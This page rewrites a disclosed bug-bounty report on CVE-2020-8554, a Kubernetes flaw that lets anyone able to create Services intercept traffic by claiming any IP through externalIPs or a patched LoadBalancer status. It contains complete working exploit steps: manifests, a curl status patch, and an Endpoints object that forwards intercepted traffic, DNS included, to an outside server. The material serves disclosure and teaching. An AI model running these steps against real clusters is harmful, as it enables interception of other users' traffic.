Kubernetes man in the middle using LoadBalancer or ExternalIPs (CVE-2020-8554)
A user with permission to create Services could set a LoadBalancer IP or ExternalIP to any address, causing kube-proxy to redirect traffic for that IP to their own pod. This allowed man-in-the-middle interception of traffic to external IPs, ClusterIPs, pod IPs, and localhost.
Published on github.com
It's 2 weeks before the end of 2019, we are deploying a Kubernetes cluster at a client with MetalLB as LoadBalancer, and for unknown reasons at the time, MetalLB VIP randomly stops working (in the end it was too small CPU limits but that's not important). As we need to have the platform in production before the end of…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Kubernetes Services come in a few shapes. A ClusterIP service gets a virtual IP inside the cluster; a LoadBalancer service asks the cloud or a bare-metal controller (MetalLB in this story) for an address reachable from outside; and any service can carry an externalIPs list, which tells kube-proxy to accept traffic destined to those addresses and forward it to the service's endpoints. The feature exists so that pods can reach an address that lives outside the cluster, or so that a service can be exposed on an address the operator already owns.
The problem is that the API server does not check who is allowed to claim which address. Any user who can create a Service can put any IP into externalIPs, and any user who can patch a Service's status can set any loadBalancer.ingress IP. kube-proxy then programs the node's packet handling to deliver traffic for that address to the attacker's pods. That is a man-in-the-middle primitive built into the cluster, and it became CVE-2020-8554.
Setup
The issue was found while deploying a Kubernetes cluster at a client with MetalLB as the LoadBalancer implementation. The testing that qualified the report used three clusters:
- CentOS 7, kubespray, K8S v1.16.3, containerd, Calico, kube-proxy in iptables mode
- the same, except kube-proxy in IPVS mode
- GKE 1.15.4-gke.22, chosen so the Kubernetes security team could reproduce the results easily
The researcher had already reported a Kubernetes security issue before (CVE-2019-9946) and had been invited to the private launch of the Kubernetes bug bounty in the summer of 2019. That invite had expired, but a new one was obtained quickly, and the report was filed through the program.
Finding it
It was two weeks before the end of 2019. MetalLB VIPs were randomly stopping to work (in the end the cause was CPU limits set too low, which is not relevant here), and the platform had to be in production before the end of the year. Rather than modify the deployments to add hostPort, the idea was to create a new Service whose externalIPs were the node IPs, so that traffic from node_x_IP:443 would reach the right pods while MetalLB was debugged on the side.
The manifest applied was:
apiVersion: v1
kind: Service
metadata:
name: myapp
namespace: anevia
spec:
ports:
- name: http
port: 80
protocol: TCP
targetPort: 80
- name: https
port: 443
protocol: TCP
targetPort: 443
selector:
app: myapp
externalIPs:
- <node_1_IP>
- <node_2_IP>
...
- <node_n_IP>
It immediately broke the cluster. Kube-proxy in IPVS mode adds the ClusterIP, ExternalIP and LoadBalancerIP to the kube-ipvs0 interface, so once the node IPs were claimed as external IPs the nodes could no longer talk to each other. After some work with a colleague to repair the cluster, the realisation came: setting externalIPs to any IP intercepts the traffic for that IP. The researcher's own description of it is "MITM as a Service".
Exploitation
Step 1: deploy the target pod
First, create the pod that will receive the intercepted traffic. It is an echoserver, which reflects the request back, so it is easy to see that traffic arrived.
kubectl apply -f - <<'EOF'
apiVersion: v1
kind: Namespace
metadata:
name: kubeproxy-mitm
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: echoserver
namespace: kubeproxy-mitm
spec:
replicas: 1
selector:
matchLabels:
app: echoserver
template:
metadata:
labels:
app: echoserver
spec:
containers:
- image: gcr.io/google_containers/echoserver:1.10
name: echoserver
ports:
- name: http
containerPort: 8080
- name: https
containerPort: 8443
EOF
This creates the kubeproxy-mitm namespace and a single-replica Deployment running gcr.io/google_containers/echoserver:1.10, listening on 8080 (HTTP) and 8443 (HTTPS).
Step 2a: MITM via LoadBalancer
Replace <IP> with the address to intercept. The service is created as type: LoadBalancer with loadBalancerIP set to the target, and then its status is patched to advertise that IP as the ingress address.
kubectl apply -f - <<'EOF'
apiVersion: v1
kind: Service
metadata:
name: mitm-lb
namespace: kubeproxy-mitm
spec:
ports:
- name: http
port: 80
targetPort: 8080
- name: https
port: 443
targetPort: 8443
selector:
app: echoserver
type: LoadBalancer
loadBalancerIP: <IP>
EOF
kubectl proxy --port=8080 &
sleep 3
curl -k -v -XPATCH -H "Accept: application/json" -H "Content-Type: application/merge-patch+json" 'http://[redacted]:8080/api/v1/namespaces/kubeproxy-mitm/services/mitm-lb/status' -d '{"status":{"loadBalancer":{"ingress":[{"ip":"<IP>"}]}}}'
kill $!
The kubectl proxy exposes the API server locally on port 8080, and the curl sends a merge patch to the service's /status subresource, writing {"status":{"loadBalancer":{"ingress":[{"ip":"<IP>"}]}}}. The curl sends a merge patch to the service's /status subresource, writing the ingress IP directly. The kill $! stops the proxy afterwards.
Step 2b: MITM via ExternalIP
The alternative, with the same <IP> substitution, is a plain ClusterIP service with the target address in externalIPs:
kubectl apply -f - <<'EOF'
apiVersion: v1
kind: Service
metadata:
name: mitm-externalip
namespace: kubeproxy-mitm
spec:
ports:
- name: http
port: 80
targetPort: 8080
- name: https
port: 443
targetPort: 8443
selector:
app: echoserver
type: ClusterIP
externalIPs:
- <IP>
EOF
No status patch is needed here: the externalIPs field is part of the spec and is accepted as written.
Step 3: forward the intercepted traffic elsewhere
The traffic does not have to terminate in the cluster. By removing the selector from the service and creating Endpoints by hand, the intercepted traffic can be sent to an external server:
kubectl apply -f - <<'EOF'
apiVersion: v1
kind: Endpoints
metadata:
name: mitm-externalip
namespace: kubeproxy-mitm
subsets:
- addresses:
- ip: <EXTERNAL SERVER IP>
ports:
- name: http
port: 80
targetPort: 8080
- name: https
port: 443
targetPort: 8443
EOF
The Endpoints object points at the external server's IP. The same technique works for UDP, which means DNS can be intercepted too.
Recordings
The write-up includes three asciinema recordings. The first covers pre-checks:
The second shows a DNS MITM with an internal endpoint:
The third shows a DNS MITM with an external endpoint:
What was tested
Two ways to man in the middle the traffic were found:
a) creating a LoadBalancer service and patching the status with the attacked IP
b) creating a ClusterIP service with externalIPs set to the attacked IP
For both, four targets were explored:
- MITM of IPs external to the cluster
- MITM of a ClusterIP IP
- MITM of a pod IP
- MITM of [redacted]
The results are summarised in a table:
Case 4b is already blocked. Cases 2, 3 and 4 could all be blocked by default, as they are not valid use cases. Case 1 is expected behaviour: pods should be able to talk to an ExternalIP or LoadBalancerIP.
Duplicate claims
Another issue seen during the tests is that multiple services can hold the same external IP and port. Listing the services shows two services both claiming [redacted] on UDP port 53:
# kubectl get svc -n kubeproxy-mitm
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
mitm-external-eip-dns ClusterIP [redacted] [redacted] 53/UDP 4m10s
mitm-external-lb-dns LoadBalancer [redacted] [redacted] 53:31303/UDP 64s
And with three LoadBalancer services on the same address and port:
# kubectl get svc -n kubeproxy-mitm
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
mitm-external-lb-dns1 LoadBalancer [redacted] [redacted] 53:31545/UDP 4m37s
mitm-external-lb-dns2 LoadBalancer [redacted] [redacted] 53:31556/UDP 4m37s
mitm-external-lb-dns3 LoadBalancer [redacted] [redacted] 53:31206/UDP 4m37s
The service that actually receives the traffic seems to be random.
Root cause
The API server accepts externalIPs in a Service spec and loadBalancer.ingress in a Service status without checking that the requesting user is entitled to the address. Kube-proxy trusts those fields and programs the node so that traffic to the claimed address is delivered to the service's endpoints. In IPVS mode the addresses are added to the kube-ipvs0 interface, which is why claiming the node IPs took the nodes off the network entirely.
The fields are ordinary parts of the Service API, writable by anyone with permission to create services or patch service status. The only case already blocked was 4b. The report does not describe any admission control or validation that would have caught the other cases.
Impact
An attacker who can create a Service, or patch a Service's status, can intercept traffic addressed to any IP the cluster routes through kube-proxy. That includes addresses external to the cluster, ClusterIPs, pod IPs and 127.0.0.1. Because UDP is covered as well, DNS can be intercepted, and the traffic can be terminated in an attacker-controlled pod or forwarded to an external server through manually created Endpoints. The report does not quantify how many clusters or users were affected, and the bounty awarded was 1000.00 USD.
Fix
The report does not describe a code change. It states which cases could be blocked by default (2, 3 and 4, since they are not valid use cases) and which is expected behaviour (1, pods talking to ExternalIP or LoadBalancerIP). The public disclosure of the issue is linked in the timeline.
Variants to test
- Create a
ClusterIPservice withexternalIPsset to a ClusterIP, a pod IP or 127.0.0.1. A positive result is traffic for that address arriving at the attacker's pod instead of the legitimate destination. - Create a
LoadBalancerservice and patch its/statussubresource with the target IP. A positive result is the same interception. - Remove the selector and create an Endpoints object with the same name pointing at an external server. A positive result is intercepted traffic leaving the cluster to that server.
- Repeat with UDP, for example port 53, and query an internal name. A positive result is the DNS answer coming from the attacker's endpoint.
- Create several services claiming the same external IP and port. A positive result is that the service receiving traffic appears random.
- Run the tests on both kube-proxy iptables and IPVS clusters. A positive result on IPVS includes the claimed address appearing on
kube-ipvs0.
Timeline
- 2019-12-19: light bulb moment
- 2019-12-20: new invite to the K8S bug bounty
- 2019-12-27: initial report
- 2020-01-09: after some back and forth, report validated
- 2020-03-03: CVE-2020-8554 reserved
- 2020-12-07: public disclosure
Acknowledgments
Thanks to the colleague Fabien for breaking the cluster together, and to the Kubernetes Security Team.
What happened, in plain words
Imagine an office building where the mail room accepts any instruction that says "deliver all letters addressed to this street address to my desk". Nobody checks whether the person giving the instruction actually owns that address. That is, in essence, the bug described here, and it lives in Kubernetes, a system for running software across many computers.
Kubernetes lets you describe what you want to run in small text files, and a central component called the API server accepts those descriptions. One kind of description is a Service, which is a way of saying "send traffic for this address and port to these programs". A Service can be told to accept traffic for an address you supply, either through a field called externalIPs or by claiming a LoadBalancer address. The API server never checks whether the person creating the Service is entitled to that address. So anyone who can create a Service can quietly say "send traffic for the victim's address to my program instead", and the cluster will do it. That is a man in the middle: the attacker sits between two parties and can read or alter what passes between them.
The researcher found this by accident while setting up a cluster for a client, broke the cluster, and then realised the same mechanism could be used deliberately. The issue became CVE-2020-8554, a public identifier for a security flaw, and earned a 1000.00 USD bounty, a reward paid by a bug bounty programme for reporting a security problem.
Context
Before the details, a few building blocks, explained from zero.
Kubernetes is software that runs containers (small, packaged programs) across a group of machines called nodes. You tell it what you want by writing YAML files, a plain-text format where indentation matters, and handing them to the API server. The API server is the front desk: it stores your wishes and other components act on them.
kubectl is the command-line tool used to talk to the API server. kubectl apply -f file.yaml means "please make the cluster match what is in this file".
A Service is a stable address in front of a set of programs. Programs come and go, but the Service address stays. Services come in a few shapes:
- A
ClusterIPservice gets a virtual IP address that only exists inside the cluster. Other programs inside can reach it; the outside world cannot. - A
LoadBalancerservice asks something outside Kubernetes (a cloud provider, or on bare metal a controller such as MetalLB) for an address reachable from outside. - Any service can carry an
externalIPslist. This tells kube-proxy, the component on each node that handles network traffic, to accept traffic destined to those addresses and forward it to the service's programs.
The externalIPs feature exists for legitimate reasons: so that programs inside the cluster can reach an address that lives outside it, or so that a service can be exposed on an address the operator already owns.
The problem is that the API server does not check who is allowed to claim which address. Any user who can create a Service can put any IP into externalIPs, and any user who can patch a Service's status can set any loadBalancer.ingress IP. kube-proxy then programs the node's packet handling to deliver traffic for that address to the attacker's programs. That is a man-in-the-middle primitive built into the cluster, and it became CVE-2020-8554.
Setup
The issue was found while deploying a Kubernetes cluster at a client with MetalLB as the LoadBalancer implementation. MetalLB is a piece of software that gives LoadBalancer addresses to clusters that are not running in a cloud. The testing that qualified the report used three clusters:
- CentOS 7, kubespray, K8S v1.16.3, containerd, Calico, kube-proxy in iptables mode
- the same, except kube-proxy in IPVS mode
- GKE 1.15.4-gke.22, chosen so the Kubernetes security team could reproduce the results easily
A word on those terms. CentOS 7 is an operating system. kubespray is a tool that installs Kubernetes. containerd is the software that actually runs containers. Calico handles networking between containers. kube-proxy is the component that makes Service addresses work on each node, and it has two modes: iptables, which uses the Linux firewall rules, and IPVS, a different load-balancing mechanism in the Linux kernel. GKE is Google's managed Kubernetes service, and 1.15.4-gke.22 is the version string.
The researcher had already reported a Kubernetes security issue before (CVE-2019-9946) and had been invited to the private launch of the Kubernetes bug bounty in the summer of 2019. A bug bounty is a programme that pays people for finding and reporting security problems responsibly. That invite had expired, but a new one was obtained quickly, and the report was filed through the programme.
Finding it
It was two weeks before the end of 2019. MetalLB VIPs were randomly stopping to work (in the end the cause was CPU limits set too low, which is not relevant here), and the platform had to be in production before the end of the year. A VIP, or virtual IP, is an address that can move between machines. Rather than modify the deployments to add hostPort, the idea was to create a new Service whose externalIPs were the node IPs, so that traffic from node_x_IP:443 would reach the right programs while MetalLB was debugged on the side. hostPort is a way of asking a container to listen on a port of the machine it runs on; it would have meant editing every deployment.
The manifest applied was:
apiVersion: v1
kind: Service
metadata:
name: myapp
namespace: anevia
spec:
ports:
- name: http
port: 80
protocol: TCP
targetPort: 80
- name: https
port: 443
protocol: TCP
targetPort: 443
selector:
app: myapp
externalIPs:
- <node_1_IP>
- <node_2_IP>
...
- <node_n_IP>
Line by line:
apiVersion: v1says which version of the Kubernetes API this object belongs to.kind: Servicesays this object is a Service.metadataholds identifying details:name: myappis the name of the Service, andnamespace: aneviais the folder-like grouping it lives in. A namespace is a way of keeping one team's or one application's objects separate from another's.specis the desired state. Underportsthere are two entries: one namedhttplistening on port 80 and forwarding totargetPort: 80, and one namedhttpslistening on port 443 and forwarding totargetPort: 443.protocol: TCPis the usual reliable transport protocol used by web traffic.selector: app: myappsays which programs receive the traffic: any program labelledapp: myapp.externalIPslists the addresses the Service should accept traffic for. Here they are the node IPs, written as placeholders<node_1_IP>and so on.
It immediately broke the cluster. Kube-proxy in IPVS mode adds the ClusterIP, ExternalIP and LoadBalancerIP to the kube-ipvs0 interface, so once the node IPs were claimed as external IPs the nodes could no longer talk to each other. An interface is a network connection point on a machine; kube-ipvs0 is a virtual one that kube-proxy creates. By claiming the nodes' own addresses, the Service took those addresses over, and the nodes lost the ability to reach one another. After some work with a colleague to repair the cluster, the realisation came: setting externalIPs to any IP intercepts the traffic for that IP. The researcher's own description of it is "MITM as a Service".
Exploitation
Step 1: deploy the target pod
First, create the program that will receive the intercepted traffic. It is an echoserver, which reflects the request back, so it is easy to see that traffic arrived. A pod is the smallest unit Kubernetes runs: one or more containers sharing a network address.
kubectl apply -f - <<'EOF'
apiVersion: v1
kind: Namespace
metadata:
name: kubeproxy-mitm
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: echoserver
namespace: kubeproxy-mitm
spec:
replicas: 1
selector:
matchLabels:
app: echoserver
template:
metadata:
labels:
app: echoserver
spec:
containers:
- image: gcr.io/google_containers/echoserver:1.10
name: echoserver
ports:
- name: http
containerPort: 8080
- name: https
containerPort: 8443
EOF
Line by line:
kubectl apply -f - <<'EOF'tells kubectl to read the file from standard input, and the shell feeds everything up to the lineEOFinto it. This is a convenient way to paste a manifest without saving it to disk.- The first object is a
Namespacecalledkubeproxy-mitm. This creates a separate area to hold the attacker's objects. ---separates one object from the next in the same file.- The second object is a
Deploymentcalledechoserverin that namespace. A Deployment is a recipe for keeping a certain number of identical pods running. replicas: 1means one copy.selector: matchLabels: app: echoserversays this Deployment manages pods labelledapp: echoserver.templatedescribes the pod to create: it carries the labelapp: echoserver, and runs one container from the imagegcr.io/google_containers/echoserver:1.10. An image is a packaged filesystem and program, like an installer.- The container listens on
containerPort: 8080for HTTP andcontainerPort: 8443for HTTPS.
This creates the kubeproxy-mitm namespace and a single-replica Deployment running gcr.io/google_containers/echoserver:1.10, listening on 8080 (HTTP) and 8443 (HTTPS).
Step 2a: MITM via LoadBalancer
Replace <IP> with the address to intercept. The service is created as type: LoadBalancer with loadBalancerIP set to the target, and then its status is patched to advertise that IP as the ingress address.
kubectl apply -f - <<'EOF'
apiVersion: v1
kind: Service
metadata:
name: mitm-lb
namespace: kubeproxy-mitm
spec:
ports:
- name: http
port: 80
targetPort: 8080
- name: https
port: 443
targetPort: 8443
selector:
app: echoserver
type: LoadBalancer
loadBalancerIP: <IP>
EOF
kubectl proxy --port=8080 &
sleep 3
curl -k -v -XPATCH -H "Accept: application/json" -H "Content-Type: application/merge-patch+json" 'http://[redacted]:8080/api/v1/namespaces/kubeproxy-mitm/services/mitm-lb/status' -d '{"status":{"loadBalancer":{"ingress":[{"ip":"<IP>"}]}}}'
kill $!
Line by line:
- The first block creates a Service called
mitm-lbin thekubeproxy-mitmnamespace. It listens on port 80 and forwards totargetPort: 8080, and on port 443 forwarding totargetPort: 8443. Theselector: app: echoserverpoints it at the echoserver pod from step 1.type: LoadBalancerasks for an externally reachable address, andloadBalancerIP: <IP>asks for a specific one. kubectl proxy --port=8080 &starts a small local web server that forwards requests to the Kubernetes API server, so that ordinary HTTP tools can talk to it. The&puts it in the background so the next commands can run.sleep 3waits three seconds for the proxy to be ready.- The
curlcommand sends an HTTP request.-ktells curl not to worry about certificate checks,-vmakes it print details,-XPATCHuses the HTTP PATCH method (a partial update), and the two-Hoptions set headers:Accept: application/jsonsays the response should be JSON, andContent-Type: application/merge-patch+jsonsays the body is a merge patch, a format that changes only the fields you mention. The URL points at the/statussubresource of themitm-lbservice through the local proxy. The-doption supplies the body:{"status":{"loadBalancer":{"ingress":[{"ip":"<IP>"}]}}}. kill $!stops the background proxy.$!is the shell's way of referring to the most recently started background process.
The kubectl proxy exposes the API server locally on port 8080, and the curl sends a merge patch to the service's /status subresource, writing {"status":{"loadBalancer":{"ingress":[{"ip":"<IP>"}]}}}. The curl sends a merge patch to the service's /status subresource, writing the ingress IP directly. The kill $! stops the proxy afterwards.
Step 2b: MITM via ExternalIP
The alternative, with the same <IP> substitution, is a plain ClusterIP service with the target address in externalIPs:
kubectl apply -f - <<'EOF'
apiVersion: v1
kind: Service
metadata:
name: mitm-externalip
namespace: kubeproxy-mitm
spec:
ports:
- name: http
port: 80
targetPort: 8080
- name: https
port: 443
targetPort: 8443
selector:
app: echoserver
type: ClusterIP
externalIPs:
- <IP>
EOF
Line by line:
- This creates a Service called
mitm-externalipin the same namespace. - The two ports again listen on 80 and 443 and forward to the echoserver's 8080 and 8443.
selector: app: echoserversends the traffic to the echoserver pod.type: ClusterIPmeans an ordinary internal address.externalIPslists the address to intercept, written as<IP>.
No status patch is needed here: the externalIPs field is part of the spec and is accepted as written.
Step 3: forward the intercepted traffic elsewhere
The traffic does not have to terminate in the cluster. By removing the selector from the service and creating Endpoints by hand, the intercepted traffic can be sent to an external server. An Endpoints object is the list of actual addresses behind a Service; normally Kubernetes fills it in automatically from the selector, but you can write it yourself.
kubectl apply -f - <<'EOF'
apiVersion: v1
kind: Endpoints
metadata:
name: mitm-externalip
namespace: kubeproxy-mitm
subsets:
- addresses:
- ip: <EXTERNAL SERVER IP>
ports:
- name: http
port: 80
targetPort: 8080
- name: https
port: 443
targetPort: 8443
EOF
Line by line:
kind: Endpointssays this object is an Endpoints list.metadatagives it the namemitm-externalipin thekubeproxy-mitmnamespace. The name matters: it must match the Service so that the Service uses it.subsetsholds groups of addresses. Underaddressesthere is one entry,ip: <EXTERNAL SERVER IP>, the server that will receive the traffic.portslists the ports on that server:httpon 80 forwarding totargetPort: 8080, andhttpson 443 forwarding totargetPort: 8443.
The Endpoints object points at the external server's IP. The same technique works for UDP, which means DNS can be intercepted too. UDP is a simpler, connectionless transport protocol; DNS, the system that turns names like example.com into IP addresses, uses it.
Recordings
The write-up includes three asciinema recordings. Asciinema is a tool that records a terminal session so others can replay it. The first covers pre-checks:
The second shows a DNS MITM with an internal endpoint:
The third shows a DNS MITM with an external endpoint:
What was tested
Two ways to man in the middle the traffic were found:
a) creating a LoadBalancer service and patching the status with the attacked IP
b) creating a ClusterIP service with externalIPs set to the attacked IP
For both, four targets were explored:
- MITM of IPs external to the cluster
- MITM of a ClusterIP IP
- MITM of a pod IP
- MITM of [redacted]
[redacted] is the loopback address, the way a machine refers to itself.
The results are summarised in a table:
Case 4b is already blocked. Cases 2, 3 and 4 could all be blocked by default, as they are not valid use cases. Case 1 is expected behaviour: pods should be able to talk to an ExternalIP or LoadBalancerIP.
Duplicate claims
Another issue seen during the tests is that multiple services can hold the same external IP and port. Listing the services shows two services both claiming [redacted] on UDP port 53:
# kubectl get svc -n kubeproxy-mitm
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
mitm-external-eip-dns ClusterIP [redacted] [redacted] 53/UDP 4m10s
mitm-external-lb-dns LoadBalancer [redacted] [redacted] 53:31303/UDP 64s
Line by line:
kubectl get svc -n kubeproxy-mitmlists the Services in thekubeproxy-mitmnamespace.- The columns are the name, the type, the internal ClusterIP, the external IP, the ports, and how long ago the object was created.
mitm-external-eip-dnsis aClusterIPservice with internal address[redacted], external address[redacted], port53/UDP, created 4 minutes 10 seconds ago.mitm-external-lb-dnsis aLoadBalancerservice with internal address[redacted], external address[redacted], port53:31303/UDP(port 53 exposed on node port 31303), created 64 seconds ago.
And with three LoadBalancer services on the same address and port:
# kubectl get svc -n kubeproxy-mitm
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
mitm-external-lb-dns1 LoadBalancer [redacted] [redacted] 53:31545/UDP 4m37s
mitm-external-lb-dns2 LoadBalancer [redacted] [redacted] 53:31556/UDP 4m37s
mitm-external-lb-dns3 LoadBalancer [redacted] [redacted] 53:31206/UDP 4m37s
Line by line:
- Three services,
mitm-external-lb-dns1,mitm-external-lb-dns2andmitm-external-lb-dns3, all of typeLoadBalancer. - Each has its own internal address (
[redacted],[redacted],[redacted]) but all claim the same external address[redacted]on port 53 over UDP, each on a different node port (31545, 31556, 31206). - All three were created 4 minutes 37 seconds ago.
The service that actually receives the traffic seems to be random.
Root cause
The API server accepts externalIPs in a Service spec and loadBalancer.ingress in a Service status without checking that the requesting user is entitled to the address. Kube-proxy trusts those fields and programs the node so that traffic to the claimed address is delivered to the service's endpoints. In IPVS mode the addresses are added to the kube-ipvs0 interface, which is why claiming the node IPs took the nodes off the network entirely.
The fields are ordinary parts of the Service API, writable by anyone with permission to create services or patch service status. The only case already blocked was 4b. The report does not describe any admission control or validation that would have caught the other cases. Admission control is a checkpoint that can reject requests before they are stored; none is described here.
Impact
An attacker who can create a Service, or patch a Service's status, can intercept traffic addressed to any IP the cluster routes through kube-proxy. That includes addresses external to the cluster, ClusterIPs, pod IPs and 127.0.0.1. Because UDP is covered as well, DNS can be intercepted, and the traffic can be terminated in an attacker-controlled pod or forwarded to an external server through manually created Endpoints. The report does not quantify how many clusters or users were affected, and the bounty awarded was 1000.00 USD.
Fix
The report does not describe a code change. It states which cases could be blocked by default (2, 3 and 4, since they are not valid use cases) and which is expected behaviour (1, pods talking to ExternalIP or LoadBalancerIP). The public disclosure of the issue is linked in the timeline.
Variants to test
- Create a
ClusterIPservice withexternalIPsset to a ClusterIP, a pod IP or 127.0.0.1. A positive result is traffic for that address arriving at the attacker's pod instead of the legitimate destination. - Create a
LoadBalancerservice and patch its/statussubresource with the target IP. A positive result is the same interception. - Remove the selector and create an Endpoints object with the same name pointing at an external server. A positive result is intercepted traffic leaving the cluster to that server.
- Repeat with UDP, for example port 53, and query an internal name. A positive result is the DNS answer coming from the attacker's endpoint.
- Create several services claiming the same external IP and port. A positive result is that the service receiving traffic appears random.
- Run the tests on both kube-proxy iptables and IPVS clusters. A positive result on IPVS includes the claimed address appearing on
kube-ipvs0.
Timeline
- 2019-12-19: light bulb moment
- 2019-12-20: new invite to the K8S bug bounty
- 2019-12-27: initial report
- 2020-01-09: after some back and forth, report validated
- 2020-03-03: CVE-2020-8554 reserved
- 2020-12-07: public disclosure
Acknowledgments
Thanks to the colleague Fabien for breaking the cluster together, and to the Kubernetes Security Team.
Glossary
- API server: the central component of Kubernetes that receives and stores your requests; the front desk of the cluster.
- Admission control: a checkpoint that can reject a request before it is stored; none is described in this report.
- Asciinema: a tool that records a terminal session so it can be replayed later.
- Bug bounty: a programme that pays people for responsibly reporting security problems.
- Calico: software that handles networking between containers in a Kubernetes cluster.
- CentOS 7: an operating system.
- ClusterIP: a virtual IP address that only exists inside a Kubernetes cluster.
- Container: a packaged program with its filesystem, run in isolation on a machine.
- containerd: the software that actually runs containers.
- CVE: a public identifier for a known security flaw, such as CVE-2020-8554.
- Deployment: a Kubernetes recipe for keeping a certain number of identical pods running.
- DNS: the system that turns names like example.com into IP addresses.
- Echoserver: a small program that reflects a request back, useful for seeing that traffic arrived.
- Endpoints: the list of actual addresses behind a Service; normally filled in automatically, but can be written by hand.
- externalIPs: a Service field listing extra addresses the Service should accept traffic for.
- GKE: Google's managed Kubernetes service.
- Header: extra information sent with an HTTP request or response, such as the content type.
- hostPort: a way of asking a container to listen on a port of the machine it runs on.
- HTTP: the protocol browsers and servers use to exchange web pages and data.
- HTTPS: HTTP wrapped in encryption.
- Image: a packaged filesystem and program used to start a container.
- Interface: a network connection point on a machine;
kube-ipvs0is a virtual one created by kube-proxy. - IP address: a numeric address identifying a machine or service on a network.
- iptables: the Linux firewall rules used by one mode of kube-proxy.
- IPVS: a load-balancing mechanism in the Linux kernel used by another mode of kube-proxy.
- JSON: a plain-text format for structured data, used in the patch body here.
- kube-proxy: the component on each node that makes Service addresses work.
- kubectl: the command-line tool for talking to the Kubernetes API server.
- kubectl proxy: a local web server that forwards requests to the Kubernetes API server.
- Kubernetes: software that runs containers across a group of machines.
- kubespray: a tool that installs Kubernetes.
- LoadBalancer: a Service type that asks for an address reachable from outside the cluster.
- loadBalancerIP: a Service field asking for a specific external address.
- Man in the middle (MITM): an attacker sitting between two parties, able to read or alter what passes between them.
- Manifest: a YAML file describing Kubernetes objects.
- Merge patch: a partial update format that changes only the fields you mention.
- MetalLB: software that gives LoadBalancer addresses to clusters not running in a cloud.
- Namespace: a folder-like grouping that keeps objects separate.
- Node: a machine in a Kubernetes cluster.
- PATCH: an HTTP method for partially updating a resource.
- Pod: the smallest unit Kubernetes runs, one or more containers sharing a network address.
- Selector: a label-based rule saying which pods a Service or Deployment applies to.
- Service: a stable address in front of a set of programs.
- Status subresource: a separate part of a Kubernetes object holding its observed state, normally written by controllers.
- TCP: the usual reliable transport protocol used by web traffic.
- UDP: a simpler, connectionless transport protocol, used by DNS.
- VIP (virtual IP): an address that can move between machines.
- YAML: a plain-text format where indentation matters, used for Kubernetes manifests.